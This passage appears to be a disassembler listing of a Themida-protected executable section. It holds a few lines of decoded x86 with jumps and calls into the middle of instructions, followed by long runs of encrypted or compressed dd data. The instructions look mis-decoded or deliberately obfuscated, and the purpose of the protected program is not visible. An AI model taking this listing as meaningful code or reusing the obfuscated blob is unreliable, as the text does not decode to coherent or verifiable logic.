		popa
		retn	8
; ---------------------------------------------------------------------------


loc_5BE43B:				; CODE XREF: Themida_:005BE420j
		add	edx, 28h
		dec	ecx
		jnz	loc_5BE414	; CODE XREF: Themida_:005BE47Fj
		jmp	loc_5BE433
; ---------------------------------------------------------------------------


loc_5BE44A:				; CODE XREF: Themida_:005BE3F4j
		mov	edx, 9FD3Eh
		call	near ptr loc_5BE462+6
		jl	short near ptr loc_5BE46C+5
		cld
		db	36h
		mov	cl, 8Ch
		xor	esp, [ebp+2DEE9953h]
		and	ecx, edx


loc_5BE462:				; CODE XREF: Themida_:005BE44Fp
		call	far ptr	8B25h:0F5DFAF9Eh
		ficomp	dword ptr [edi+0Fh]


loc_5BE46C:				; CODE XREF: Themida_:005BE454j
		adc	dword ptr ds:0E9000000h, 10h
		cmp	dh, [ebp-6241BB56h]
		cld
		push	eax
		scasd
		jno	short near ptr loc_5BE43F+4
		pop	esi
		call	near ptr 824839C2h
		mov	dword ptr [ebx+60h], 890F0000h
		add	eax, [eax]
; ---------------------------------------------------------------------------
		dd 8B660000h, 17E2BEC7h, 7E80000h, 2B000000h, 0D8F4E05Ch
		dd 860FA6DBh, 2, 8B585957h, 8E817h, 3F9D0000h, 167A5511h
		dd 0DE8B9624h, 0A9EA8159h, 80406800h, 0EA816EE4h, 421EF7Bh
		dd 1CF7DB81h, 0EA811E17h, 6439468Ch, 0DB84B966h, 81F51789h
		dd 97DD2CEFh, 15B8664Dh, 28C781F4h, 0E84D97DDh,	0Ah, 9761C03Bh
		dd 456C2893h, 0C0814690h, 4F16AA5Ch, 850F4E59h,	13h, 24E9D98Bh
		dd 58000000h, 14963CD5h, 0FE0E2389h, 81016B9Eh,	5A9448D3h
		dd 0FF81E953h, 858FFFFFh, 283B3DBAh, 7405F024h,	0E9655B5Ch
		dd 151h, 25CB4ACEh, 0DA95ECE7h,	6715893h, 0BEB6CFDFh, 365D54FDh
		dd 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h, 0C1AEC441h
		dd 5277CB50h, 9CACAC32h, 6C46BF00h, 7390ADFCh, 0D6A33659h
		dd 9C72E275h, 0DD0090BDh, 9B8CE693h, 64A592A7h,	92A7ABDDh
		dd 7A918F97h, 0B9F95CFCh, 9BB1E496h, 9F47E4B5h,	0B6E592B6h
		dd 9EBDF694h, 96B3EBB5h, 9C93D0ECh, 7B97BF99h, 89F55CFDh
		dd 0EDAFF493h, 0E3B2CD00h, 0D4E594A6h, 5700C3B5h, 0F3622D44h
		dd 2CAE29B0h, 34000000h, 38000000h, 2 dup(0)
		dd 4000000h, 94000000h,	5000000h, 1000000h, 28000000h
		dd 200000Ah, 53000000h,	69767265h, 50206563h, 206B6361h
		dd 32h,	21h dup(0)
		dd 1FA3E900h, 0A9680000h, 0E907D482h, 0FFFCFE20h, 0D4838968h
		dd 0FE16E907h, 8768FFFCh, 0E907D484h, 0FFFCFE0Ch, 0D4854468h
		dd 0FE02E907h, 268FFFCh, 0E907D486h, 0FFFCFDF8h, 0D486C368h
		dd 0FDEEE907h, 0C168FFFCh, 0E907D487h, 0FFFCFDE4h, 0D4888668h
		dd 0FDDAE907h, 7868FFFCh, 0E907D48Ch, 0FFFCFDD0h, 0D48D0268h
		dd 0FDC6E907h, 0D68FFFCh, 0E907D48Eh, 0FFFCFDBCh, 0D490DC68h
		dd 0FDB2E907h, 0C968FFFCh, 0E907D494h, 0FFFCFDA8h, 0D4979668h
		dd 0FD9EE907h, 1E68FFFCh, 0E907D499h, 0FFFCFD94h, 0D4998168h
		dd 0FD8AE907h, 0EE68FFFCh, 0E907D499h, 0FFFCFD80h, 0D49A3968h
		dd 0FD76E907h, 0FB68FFFCh, 0E907D49Bh, 0FFFCFD6Ch, 0D49CE468h
		dd 0FD62E907h, 8F68FFFCh, 0E907D49Eh, 0FFFCFD58h, 0CC5987F7h
		dd 0BA47A5DFh, 0A936C8CDh, 921FDDBCh, 7E0BE5A5h, 0B0D2DAC3h
		dd 0DBBEAB38h, 0EEAB9825h, 0F6968310h, 0DFCB6DFAh, 0FD364B22h
		dd 0B3917919h, 9A543522h, 2C7E1E0Bh, 14F9906Ch,	9F8B6927h
		dd 2C19D7B2h, 73008F6Dh, 9CFEB5E5h, 51E87F64h, 0E8C6A865h
		dd 67FE19F9h, 0E8A4C582h, 883319F9h, 66971899h,	5E46419Eh
		dd 5A000000h, 0E0BCB16Eh, 710819F9h, 5BEA0684h,	0EF12807Dh
		dd 5CB31703h, 0C75E748Ch, 0B9F9B645h, 0B19F9FAh, 0A1867A1Eh
		dd 0A28E730Ah, 32CCC9B6h, 74F9B64Dh, 819F9FAh, 35CC718Fh
		dd 0FA80E9A6h, 6B5719F9h, 9C4D3407h, 705D6EA6h,	9C47D612h
		dd 0BD832C6Dh, 0F55A419Eh, 6E000000h, 57E60081h, 85632179h
		dd 2D50B4A0h, 0B1638537h, 0D6B4A130h, 56422E1Ah, 2918D499h
		dd 9C59F012h, 122918D1h, 6D12E8ABh, 756247D6h, 0EDD917h
		dd 0EC836884h, 0D8B785Dh, 7A562EFh, 7512291Dh, 604CD917h
		dd 1CB6B774h, 0AC71229h, 12291C63h, 8E25CA61h, 767212FFh
		dd 72970391h, 0EEAD9A86h, 7AC48110h, 4A19FA30h,	0D9C6385Dh
		dd 0C45B40BEh, 6012A02Dh, 1A319581h, 0EE8A927h,	3C6952AAh
		dd 307E9954h, 4DDC73F6h, 9A117561h, 5DB07216h, 8A8F4CDBh
		dd 3A21CE4Dh, 67CBB7A3h, 9EB8EED0h, 9F685DAh, 0F6E26F89h
		dd 0DE6D8B09h, 0A35791F1h, 0FEBC1D51h, 0A732AA8Fh, 7800001Ch
		dd 604DDA06h, 4E3BC824h, 3D2AB749h, 2613A05Eh, 44FF8C64h
		dd 0B9375359h, 0A6443F2Ch, 916F2C19h, 7B791704h, 0A3604CEEh
		dd 19FD36CAh, 213412FAh, 0DFA8761h, 6E4718Fh, 3EF1280h
		dd 0F9DD6C46h, 77F45819h, 0F0674FBCh, 0D390750Ch, 19F9C396h
		dd 2B685541h, 45DC1A77h, 9B1C0BB6h, 419E4514h, 0B3C9h
		dd 6321EB00h, 0D7B3A085h, 35773419h, 481228B9h,	0DFC43A5Bh
		dd 0C05791F2h, 0AA39B7D3h, 9421DFBDh, 763C44A8h, 3F3DEF16h
		dd 2907EB82h, 0AB42D912h, 3D22DEBEh, 6A2A17A6h,	6F1BA98Eh
		dd 7F57835h, 38CF1229h,	46F8B5A1h, 7E19FA1Bh, 0DECC5AE7h
		dd 87D90F6Eh, 0A48C0244h, 52522E56h, 0F7E37A11h, 0CE54CE3Ah
		dd 735FF621h, 5FEC0486h, 24D81072h, 0FEBC85AEh,	0C7DD553Ah
		dd 9800001Bh, 806DFAE6h, 6E5BE804h, 5D4AD729h, 4633C03Eh
		dd 641FAC44h, 0D9177339h, 0C6245F4Ch, 0B14F4C39h, 9B593724h
		dd 0C3806C0Eh, 19FD37AAh, 2154321Ah, 0DFA8761h,	6E4718Fh
		dd 0A0856321h, 2DCBC7B4h, 3522B148h, 0E6874457h, 971228B4h
		dd 28B493DAh, 0F59A3112h, 5D3AC75Eh, 0FB1E8C4Ch, 5236230Fh
		dd 0B48CE19Eh, 0A1381228h, 0B5692612h, 0C819F9E6h, 0A8EABEDBh
		dd 3DD46B50h, 18D5C158h, 19F9E755h, 0A449D86Fh,	7AEBA80Dh
		dd 61D68855h, 0B12C0331h, 7C0E5F1Ch, 1FB6D688h,	0C3FBDEBBh
		dd 6754402Ch, 823FCE2Ch, 0DE58EAB0h, 2D917D14h,	79430C53h
		dd 0B2972679h, 0A7937624h, 8F1EDABAh, 8B84E6A3h, 0CF9E62Ah
		dd 3FE47389h, 23BA3652h, 0DF8E4B37h, 0E5E62A8Bh, 0C620614Eh
		dd 3E5E4B37h, 772D6C2h,	89809F98h, 9865E145h, 6B862661h
		dd 22624FDCh, 0C8B212C6h, 4D322518h, 1AC9D5h, 0FCE49A00h
		dd 0EA06826Fh, 0D917705Dh, 0C2205F4Ch, 0AE4A4835h, 75376621h
		dd 614EDB15h, 4E3BC826h, 3926B34Dh, 6E109D5Bh, 38A8C582h
		dd 341C19FDh, 2F632156h, 0ED803D50h, 0D71228B4h, 2DC4A940h
		dd 0C1A64240h, 20AE932Ah, 0E6A38F72h, 19F9CEFCh, 0C7A431C8h
		dd 6180F246h, 66B875h, 0C75E21CBh, 5F4BA562h, 0E290E97Ch
		dd 3A2713FFh, 5411A058h, 0F14D7BDEh, 7E6A4FE6h,	0E7A2F691h
		dd 0F68D2409h, 48A9D967h, 0C784705Ch, 0F14D7BA6h, 0ADB9D55Fh
		dd 0EA8F00D2h, 812C41FEh, 198F14Dh, 4C1EDB6Ah, 31F91EBCh
		dd 1EAD4344h, 9F6E279h,	0F3E06D8Bh, 33A35795h, 0A517EF22h
		dd 1A0C48C0h, 0A1DD0000h, 0C3C5B23Fh, 0D2B3A02Dh, 0E3A28F1Ch
		dd 0F8B7805h, 0F4A964F1h, 9926C2C0h, 8613E9ACh,	71FEF899h
		dd 5BE80484h, 5D10CDB9h, 6719FD3Ah, 6321A17Fh, 6012A085h
		dd 4AD89581h, 7A19F9C8h, 857956E3h, 0B0484A37h,	2E79321h
		dd 0F9C55916h, 68FF21CAh, 692A1703h, 7E1A28Fh, 3FFC8B22h
		dd 0BE73B27Ch, 0E2CE335Fh, 44D00D25h, 3420B7C6h, 0ED6495D0h
		dd 0FF63CB3Eh, 0FA82E04Ah, 2D12A1B0h, 0D9B8F39Fh, 89F361Bh
		dd 93512F1Ch, 0C82C1804h, 94727158h, 0B370FFB5h, 0CE16BEB7h
		dd 9D8A760Dh, 281501FFh, 7401906Ch, 0CEC12488h,	5FFCBAC1h
		dd 47A5E3D0h, 0F7361993h, 6AE2C74Ah, 194Eh, 0F4817F1Fh
		dd 0E26F8D07h, 0D15E90F5h, 0BA47A5E4h, 0A633CDCDh, 98FAB2EBh
		dd 0A3E6D360h, 0B6D3C04Dh, 0DEBEAB38h, 7F39522h, 0FD3B234Ah
		dd 0DBB9A119h, 0A0856321h, 29B46012h, 0E6570987h, 0B732E84Ch
		dd 48399B9Ch, 2608C5B1h, 9E19FAAEh, 7D9D7A07h, 402CCDBDh
		dd 0CBDF9B83h, 97F5E221h, 4EDD7459h, 0F0AD12A9h, 1F0E9463h
		dd 0FBE70A78h, 0DFB1F43Eh, 5439D026h, 23E0D4C6h, 26DFB24Ah
		dd 9CD18E7Ah, 2826DFB1h, 7763FA91h, 0B0ECB0BAh,	6A27142Eh
		dd 7910A78Ch, 0AFE0A08Dh, 0EC6706C3h, 0C65D2EB0h, 0B0EC6409h
		dd 32C9602Eh, 5488E246h, 26A97D06h, 7F1D0A97h, 0C62DCD81h
		dd 12F7ED91h, 188D9Ah, 0C0205E00h, 0AE424633h, 9D533421h
		dd 86642310h, 728E0CF9h, 41732AE5h, 2D1AA741h, 1A07946Ah
		dd 5F27F79h, 3ADC6987h,	3ADC914Eh, 0E819FDh, 85632122h
		dd 816012A0h, 0DFBCA995h, 21D59221h, 5C19F9E6h,	0EDD2106Fh
		dd 0D1688400h, 0D0B09D42h, 13F07D14h, 0AD4C3EFAh, 171A04C1h
		dd 13AA21CBh, 0E39F1AEh, 5844B594h, 7EBB24F4h, 33F01BB3h
		dd 0B594663Ah, 8CE19E8Ah, 38B59465h, 7A1D0AA1h,	79089F84h
		dd 8304BFEBh, 86EAD66Dh, 61D550F1h, 0C8AE1292h,	1A21CEC4h
		dd 9B877302h, 2E13EDAEh, 0EEAAA97h, 8170C27Fh, 6754BD65h
		dd 50E7CC2Ah, 5446D4B9h, 0F0DDC9B5h, 0D86F5490h, 0BCDE8C49h
		dd 4FE6C536h, 3EB1FF63h, 8A9C481h, 841BC537h, 9862F320h
		dd 0CD311D09h, 43D2BB82h, 0F7F192AAh, 55E47B12h, 3FCC2868h
		dd 0A4613252h, 0C53716C9h, 19CD64FBh, 42174783h, 8F047C61h
		dd 60000017h, 4835C23Eh, 3623B04Ch, 25129F51h, 0EFB8866h
		dd 2CE7748Ch, 0A15F3B71h, 8E6C2714h, 79771401h,	6381FFECh
		dd 8B4834D6h, 19FD3BE2h, 211CFAE2h, 12A08563h, 0A9958160h
		dd 28B481ECh, 1DAC4312h, 349E7431h, 8F2619FDh, 73FAB7A3h
		dd 5119FD34h, 841456BAh, 17F9A72h, 0FB998672h, 4AB370FDh
		dd 9119FD4Ah, 0B7FD32E6h, 2B2376D9h, 0BCA15F3Eh, 14018E25h
		dd 5DEB7874h, 0DF11762Dh, 83705C48h, 6D04E907h,	5F121DEh
		dd 3CD321D2h, 0CB216350h
		dd 64B22DFh, 0E27921D2h, 1E7A6753h, 2C6855E2h, 4080E4D0h
		dd 0CB257A3Bh, 0E09E3B91h, 18126B7Ch, 0D9B7A489h, 972EC0C5h
		dd 0B054ABE3h, 0B0280DFEh, 16CAh, 70FDE39Bh, 5EEB0183h
		dd 4DDA1471h, 36C32160h, 22AF4949h, 1C7E3667h, 2F6A57E4h
		dd 3A5744D1h, 42422FBCh, 8B7719A6h, 0FD3C9FCEh,	5F3D2519h
		dd 0F8991280h, 8F7B67FEh, 2308E0A2h, 89F5136h, 3456BC79h
		dd 0D76E19FDh, 7312FFEBh, 6AF99075h, 0F5E11F7Dh, 817F1C09h
		dd 2548059Ch, 9F19FD34h, 831AD6B2h, 0AED967F4h,	0DB9E5B47h
		dd 0E919FD33h, 94816D52h, 397B2DF6h, 43381E5Bh,	0A601DACh
		dd 0CD19FD8Ch, 8A95F4E1h, 5694D53Ah, 8166FD8Eh,	659BFDEAh
		dd 0AF5AE980h, 0BADDCA40h, 0DCC85F44h, 0FD394E1Fh, 50DF7619h
		dd 0A1B5D6D9h, 620741h,	80290000h, 9E02EE15h, 245C2B7Ah
		dd 0E0CC5BE5h, 17E90F4h, 8CD4D758h, 0B53140FDh,	0FC931228h
		dd 0B50F5A17h, 1DC81228h, 3202ADEEh, 31DB39CDh,	0EF000000h
		dd 8F40478Bh, 3FCE4629h, 0B5195161h, 0D0C21228h, 0C6884531h
		dd 0FE19F9D3h, 0D4185512h, 15AC19F9h, 0D4016C29h, 2CC319F9h
		dd 0DBBCA995h, 2B099625h, 99573522h, 0EB0E7C0Ah, 0C64042FFh
		dd 0ED8419F9h, 7F7D1B08h, 0CE4A693h, 0F483611Fh, 0DE1A7A67h
		dd 3AE8EF2h, 0E02F3B28h, 37F6C51h, 0E99400E5h, 6785033Ah
		dd 51AFEDDAh, 0F7ACDE6Ch, 0DDC9609Eh, 0CB4D5A20h, 46D36A21h
		dd 0D8BD3B59h, 1F4711Bh, 32E18C9Ah, 0D25F9DFBh,	6449A7E5h
		dd 0AC0D1877h, 576528A9h, 15BEA33Ah, 484BB6Ah, 2E6E5BE8h
		dd 9EF9E6D2h, 5EECD160h, 6753002Ch, 3666696Bh, 5CF6B39Fh
		dd 68A1D372h, 9AF8E5D1h, 1D964191h, 0D66D8AB4h,	3ECB5AF1h
		dd 0C9B53351h, 5F44B8DCh, 675439C8h, 0FCE9CE2Ch, 77750F9Bh
		dd 8A0EFBE0h, 0DFA9176h, 1F8B708Eh, 78E48574h, 0A9E75ECDh
		dd 0B3D1BE4Bh, 0D0C25035h, 0F5594531h, 0BDA0BF04h, 73890C43h
		dd 96904DDCh, 2EA9A461h, 7F1D0A97h, 0EDA89581h,	4932A0Fh
		dd 6207621Fh, 2D19B9A4h, 0C1A64240h, 1F09B2Ah, 0E16E8A0Ah
		dd 745997F4h, 8ED0B87h,	9B807E1Bh, 9DABB537h, 0E2CFF912h
		dd 0F46045A3h, 41ECDA49h, 972651A4h, 3C28B44Bh,	0D2B7354Fh
		dd 0BCC0DA6Eh, 1FB614C9h, 11B021BBh, 0A635448Ch, 74150CFBh
		dd 0E7A18E7Ah, 0ED7A09h, 93806583h, 0C00A29F4h,	3FE00F02h
		dd 0A3D3EB82h, 0AB42D9B9h, 4126DABEh, 0C22E13AAh, 0C04B72D6h
		dd 0EE6BA163h, 0CE45B45Fh, 0B9A633CDh, 610CC9D8h, 63B9A45Dh
		dd 645035CCh, 60756600h, 0AC9904F2h, 0F68413E9h, 0BC796584h
		dd 0C17515C6h, 0D98267FEh, 5D49FF2Eh, 7515CDA0h, 0D160F7C1h
		dd 37F4A7E4h, 0C1751636h, 8D2235CFh, 53F89AABh,	689350EFh
		dd 871E4779h, 7A1704F0h, 7360ED7Ch, 5F2D715h, 97846987h
		dd 2815FAF8h, 3BA78C68h, 0EEAA6190h, 0FF962D12h, 0FB9A8773h
		dd 1D8118FDh, 0EBECF708h, 7E29B80Eh, 0E9AC998Fh, 8972E13h
		dd 0F27F7D1Bh, 197A347Bh, 26A9E9h, 0D1BD0000h, 74ED5914h
		dd 197E6BC1h, 0D46B02E7h, 60216745h, 6713A186h,	61D99682h
		dd 6319F9E2h, 3DC73FCCh, 0E9000000h, 0F4793622h, 0D01228B4h
		dd 6BF2D539h, 7BE5D0D2h, 0E82FFECh, 0F6DB728Eh,	0EBD73A68h
		dd 0FACB302Eh, 0EE94D19h, 609EFDAAh, 83A61CFCh,	25624FF4h
		dd 0BBA734CBh, 0BEDCCECEh, 3E1CAB42h, 0F4793622h, 0D01228B4h
		dd 40CDAA39h, 7B678AF8h, 0E3A00B8Eh, 1228B48Ah,	270CA33Ah
		dd 58150190h, 19F9E6C6h, 122C9AFEh, 95D00E0Ah, 7A11EFA8h
		dd 1155815h, 0D4C60EADh, 3B5C4935h, 5D49E0C5h, 0AD00CDA0h
		dd 0D160F70Eh, 1E0A28E5h, 23BA167Eh, 1FC2B03Eh,	6E5B4733h
		dd 5518D52Bh, 6F167E1Eh, 4E90782h, 8A47D66Dh, 1E4F58E0h
		dd 74614DE4h, 5E4BD814h, 8A0EC23Eh, 1AFD3F81h, 12D8BD35h
		dd 0F5A90000h, 0F7917E0Bh, 67F6CF9h, 2F6E5BE8h,	3B5744D1h
		dd 287530BDh, 5DEA0684h, 4AD71570h, 35C23C5Dh, 1FAC4848h
		dd 99D4917Dh, 2B19FD40h, 1C516543h, 0BF1228B6h,	0E461D3h
		dd 0E4B5BFE0h, 5EA4614Dh, 6619FA92h, 93F7E3CFh,	0BB0D1835h
		dd 6C59E87Dh, 5844D12Fh, 1B7C286Bh, 0D26900E5h,	0DAC756EDh
		dd 0EF533FB9h, 0CA24188Ch, 250A9924h, 8A475838h, 19FA1EE3h
		dd 5894F4E1h, 0AE45DC73h, 0C84F80FAh, 0BF371CF6h, 124Eh
		dd 0F4817F1Fh, 0E26F8D07h, 0D15E90F5h, 0BA47A5E4h, 0A633CDCDh
		dd 98FAB2EBh, 0A3E6D360h, 0B6D3C04Dh, 0DEBEAB38h, 7F39522h
		dd 0FD42234Ah, 0DBB9A119h, 3EF1280h, 0F9B7BC46h, 85710819h
		dd 7300FC98h, 9EE0286h,	692A7C1Ch, 2713AA8Fh, 0F9B8036Ah
		dd 932AC119h, 175F43A7h, 6553C577h, 0FA75C5A8h,	0D168FF19h
		dd 9B45D42h, 8B61231Ah,	37FB21FEh, 4F3CA140h, 15D2B735h
		dd 19FA7655h, 35EB1AC5h, 75E18C49h, 4CE319FAh, 0E3B4D0BDh
		dd 0FA764726h, 4FE67D19h, 2DEAD6C2h, 19FA7640h,	8200ED84h
		dd 5BEA8166h, 0F1D62A6Eh, 2327A105h, 4586801Fh,	977A28B6h
		dd 4304EEABh, 29C021CEh, 0B430503Dh, 9E5A3A27h,	9A7F2BB9h
		dd 0C17EF1AEh, 0AF4629A2h, 3AB6D6C3h, 24C0C0ADh, 0AE4C4B38h
		dd 4D20DDC9h, 7729A2C2h, 0D5BA49E0h, 0CAB65B47h, 0A0C32666h
		dd 7414FEA5h, 6652E178h, 73F355A9h, 24D86F31h, 0EE521B74h
		dd 430F876Ch, 14000011h, 0FCE9766Ah, 0EAD76498h, 0D9C653ADh
		dd 0C2AF3CBAh, 0E09B28C0h, 5D9BF7BDh, 4AA0E3D0h, 35B3D0BDh
		dd 1FDDBBA8h, 4704F092h, 19FD4326h, 51D8B69Eh, 1228B525h
		dd 3AEF3A57h, 6C8A09CAh, 0D429CF08h, 7865513Dh,	61F8DD1Bh
		dd 2973C9A4h, 0D564FB12h, 0D3C8BA48h, 0BD5439B7h, 0FA7D3A26h
		dd 0CA19FDF2h, 3D5A4733h, 2EEBD7C3h, 19FDF33Fh,	0D25FEE85h
		dd 2A1897F4h, 3EC53A4Dh, 0E7000001h, 0F4793622h, 0D01228B4h
		dd 681CAA39h, 6522AB89h, 1228B505h, 222E0CA3h, 9985635h
		dd 0B7633F1Dh, 1C188089h, 829AFEB8h, 0C4A23910h, 19806A48h
		dd 0CBA90CEAh, 0CD2A2897h, 51D53Ch, 80F70000h, 220BE918h
		dd 0A7B7D236h, 86EA0686h, 0E2716822h, 295E4525h, 0AE87F12h
		dd 9A543522h, 3BA1EB5h,	0AC4C2B5Fh, 0B8968211h,	9E8A6421h
		dd 0B478F5B2h, 0B54C1228h, 0B29E4826h, 0B46409C6h, 56A11228h
		dd 17642EE3h, 74039A3Fh, 499696h, 80B80000h, 220BE918h
		dd 28B50565h, 0A08C7812h, 28B48AE3h, 0E6A33A12h, 1228B487h
		dd 5617A63Dh, 3522E1BFh, 1F0B9A54h, 5BF8CF33h, 889BE3D0h
		dd 35221BF9h, 1FB69B55h, 0CE2A390h, 9A503320h, 0B18F1EB5h
		dd 0C2C5B29Eh, 97BF9D2Ch, 3CCD2A28h, 5A13D0BCh,	6A0F28B5h
		dd 297144D3h, 93000000h, 0CEA1980h, 0B5056522h,	28BF1228h
		dd 2144224Ah, 0F6773467h, 0CE1228B4h, 22C2A037h, 9985635h
		dd 2496BB99h, 0B8000000h, 0F7941980h, 0E67D14F9h, 5652208h
		dd 0A31228B5h, 44222E0Ch, 0AB896721h, 8E4EB29Eh, 0F497C88Eh
		dd 961FFD8Ch, 0FFFFFEB9h, 0EF1280B8h, 34CC4603h, 61F819FDh
		dd 0EC088875h, 186735Fh, 611E0AEFh, 19FD350Ch, 0FB8A21B8h
		dd 0EFDB3A6Dh, 0FD353B32h, 6F28919h, 9A7F7919h,	0D28F7403h
		dd 19FD349Dh, 0AA608F3Ah, 309A1646h, 14A31DFCh,	0A1A5129Dh
		dd 38CB41h, 51ED0000h, 1228B518h, 3BC82464h, 28B4EC7Eh
		dd 5E83EF12h, 0A4C98672h, 201228B4h, 8DE09D89h,	371228B4h
		dd 682511A0h, 19F9CD0Eh, 0A6921FB6h, 8D1CDAB9h,	0C115h
		dd 35223700h, 0AB414454h
		dd 8BF78514h, 0A8D7A66h, 0E9780FF4h, 0BD5A40FDh, 0D36A19F9h
		dd 5F99FAE7h, 9AF7E4D0h, 0A1E2CF5Ch, 0A6D46247h, 76B5743h
		dd 0D28E3A0h, 8643D204h, 21CE6174h, 0E0CDB950h,	6D5945A3h
		dd 0CE61BDB0h, 781A0721h, 0CD5AE980h, 5D93F4E1h, 61B9B471h
		dd 740B21CEh, 5D9BF8E5h, 59B8EA78h, 0D97AB06Dh,	5E4A29A2h
		dd 0A2D9CCA1h, 15D3B029h, 5DF49930h, 0AFEDDAC6h, 1C786551h
		dd 0D7C451E0h, 2F873BB9h, 81E66300h, 0E74249Ch,	59450000h
		dd 6B2D1AA7h, 7A1B0895h, 8B0AF784h, 97F3E06Dh, 8C11CC59h
		dd 18E6A28h, 0EE7B7114h, 0D9668001h, 0C350ACECh, 0F5783521h
		dd 0CF19FD44h, 632109E7h, 0D5B3A085h, 0FBA63217h, 7977150Ch
		dd 323A75ECh, 51A339CDh, 0B7000000h, 0AC5F0ECBh, 0CE651228h
		dd 0B948A6E1h, 0EF1280DBh, 0D1EC4603h, 41D819F9h, 583705Ch
		dd 0E7D60F1Ah, 0E77EEAD9h, 0EFDC6B02h, 0D9C65391h, 0CA583DBBh
		dd 904D39D8h, 21CAE70Ah, 0E9078673h, 7E6399FCh,	1CB358E7h
		dd 56424330h, 4126BD33h, 0B08E1BAAh, 0FC896721h, 87652310h
		dd 621F0BA2h, 1228B50Bh, 0A69322B9h, 0BE220EE2h, 1F04BAD2h
		dd 10F5842Fh, 6BB9C024h, 8986391h, 66B8BC79h, 0C7C41229h
		dd 5136B4D3h, 33CA2664h, 0BF230F9Ch, 0EB9B32A3h, 7B0998BEh
		dd 12FEEA0Fh, 0A78C6225h, 0C0C48110h, 0BD19FD89h, 4E33B1D0h
		dd 89C8A562h, 65FC19FDh, 39A3FCEh, 3D6D2A17h, 27BEA35Dh
		dd 0FBB8A490h, 19FD8972h, 9F2CBB52h, 2A1897C1h,	0C6C53A4Dh
		dd 0E7000001h, 0F4793622h, 0D01228B4h, 0CB13D539h, 0C5A8D873h
		dd 48FCA836h, 0D996EA34h, 1228B594h, 0D1359930h, 8C23F5BEh
		dd 65BA3883h, 225937CEh, 28B50565h, 0D7B6A312h,	69D3419h
		dd 63442228h, 0B8E7BB7h, 808866F5h, 10FDE918h, 6E47371h
		dd 35226A48h, 1FB69B55h, 6C9B0290h, 32BE228Eh, 7BF9242Eh
		dd 22B93750h, 97502E93h, 3CCD2A28h, 59D5h, 0C885E900h
		dd 0A5830C51h, 22B39120h, 0BBF2BBEh, 0AFED0A5Eh, 9D2BBA51h
		dd 222806E7h, 0B4F47936h, 0A881228h, 23B249EEh,	77E74B37h
		dd 0B25F5F30h, 7D7B1704h, 0B5720198h, 122905B5h, 229A780Fh
		dd 34642144h, 0E7864354h, 0DD1228B4h, 33CAAF46h, 0C09EBE9Ch
		dd 2896h, 1880B800h, 35220BE9h,	0E4894655h, 0E01228B4h
		dd 3723B249h, 28B4F07Ah, 4321B812h, 64214422h, 0D7B19E8Ah
		dd 9EAC8A19h, 2A2897C0h, 7CD53CCDh, 0F7000000h,	0A8951980h
		dd 932A0FEDh, 28B497D6h, 84412D12h, 1228B4E9h, 16AD44DBh
		dd 5652238h, 781228B5h,	9EE0C8Bh, 513EE372h, 3622B937h
		dd 481A6ED2h, 0E473BAACh, 21442206h, 0B09D8967h, 3CD04BD4h
		dd 0A4B0FF00h, 22A07E0Dh, 0B4F47936h, 0A881228h, 0CD7209EEh
		dd 0E08D4A36h, 0E41228B4h, 704EBE4Dh, 8D4A3622h, 1228B4E0h
		dd 0DD904DE4h, 0E71228B4h, 0C96098FAh, 3FC23Ah,	80E40000h
		dd 220CEA19h, 3E5D4A36h, 8744DBC0h, 1228B4E6h, 58FDF396h
		dd 39B7D4C1h, 712EBD54h, 1228B4F9h, 0B4F74BAFh,	0C2F99DDFh
		dd 0A43BB5D5h, 214422C6h, 0F6773467h, 0CE1228B4h, 9EC2A037h
		dd 543522C0h, 311EB59Ah, 8E069553h, 0FFFFFE31h,	0EF1280B0h
		dd 829D9F03h, 0C5FCDC75h, 858D4A36h, 3F19FD48h,	7158BCA8h
		dd 836A5997h, 0A794800Fh, 0F07E0BE9h, 85725E85h, 1A07EC02h
		dd 83E77E7Ah, 0B0CDE4F5h, 0F6E27186h, 0FD823439h, 0E2A39019h
		dd 522DA80Ch, 464E9D25h, 3C5FC3AFh, 0B9694C6h, 0CC9AE3Dh
		dd 19FCFE63h, 595AC974h, 41A17C56h, 2287h, 1851A900h, 641228B5h
		dd 4F3BC824h, 0B4C7A663h, 66FD1228h, 0B4B0BD7Ah, 7D141228h
		dd 0B576EEh, 80980000h,	4603EF12h, 19F9E124h, 0D52B6C59h
		dd 0D3B4A146h, 0AD9A861Dh, 6D00BDECh, 0F19F9E0h, 38CF7472h
		dd 6A2714A1h, 6919A78Ch, 0C4B09C88h, 0F9E06607h, 38C75E19h
		dd 0CE60837Bh, 510EFA21h, 21CE611Ch, 0DD8211A8h, 2C6D5A46h
		dd 3B5845D2h, 7E6DD1BDh, 8EC5637h, 7EE88542h, 45DC21CEh
		dd 0AC3A1FAEh, 722F1BFEh, 29A2F6B8h, 9D89750Ch,	8514D0B0h
		dd 6FFCF898h, 32E60282h, 0E663676Eh, 8759D1B6h,	5800000Ah
		dd 402DBA26h, 2E1BA844h, 1D0A9769h, 6F3807Eh, 24DF6C84h
		dd 99573379h, 86641F0Ch, 718F0CF9h, 5B99F7E4h, 83402CCEh
		dd 19FD48EAh, 2114F2DAh, 0B3A08563h, 3E2B17D5h,	3116A55Bh
		dd 4855B9A5h, 0C8742CA9h, 2F19C2Bh, 0E26F8D0Bh,	728C09F6h
		dd 11436CE3h, 3D9A39CEh, 0BC000000h, 3EF1280h, 0B5135A17h
		dd 1AB11228h, 80E29F8Bh, 4419F9E5h, 0BDDBC8ADh,	0D9C6B23Fh
		dd 0C3B03FB9h, 564227C5h, 41D02E69h, 3622C7B3h,	0CB11F179h
		dd 0E19F8C21h, 0F8871E03h, 512FBC53h, 0FC896721h, 8C622310h
		dd 0C48110A7h, 1228B4B2h, 0BBD9C9CAh, 2D19A63Dh, 0B4E98441h
		dd 44DB1228h, 967B27B5h, 6ED2BEAAh, 32E254F4h, 0D19C5991h
		dd 0F312292Fh, 7F10CD5Ch, 4519FDAFh, 0B0D5C2AEh, 97D3B13Eh
		dd 3A4D2A18h, 115C5h, 0ADECD900h, 80E2C04Fh, 220FED14h
		dd 28B50565h, 200CA312h, 29BB09BCh, 1AA9B9F0h, 4936223Ch
		dd 31C8AD4Bh, 0B763C4A2h, 0E9188089h, 6F5C480Bh, 59F0D513h
		dd 0CCD5E8F5h, 3BCA0ED5h, 0EA19805Dh, 61BE220Ch, 831955B1h
		dd 6A56BB4Ah, 0D6ACC17Eh, 81181228h, 289714F2h,	0D53CCD2Ah
		dd 2Eh,	0E91880F7h, 565220Bh, 0BF1228B5h, 44224A28h, 0C008BE22h
		dd 0AEE0F52Eh, 9B55321Fh, 96C09EBDh, 24h, 0E47446AAh, 0DD33B652h
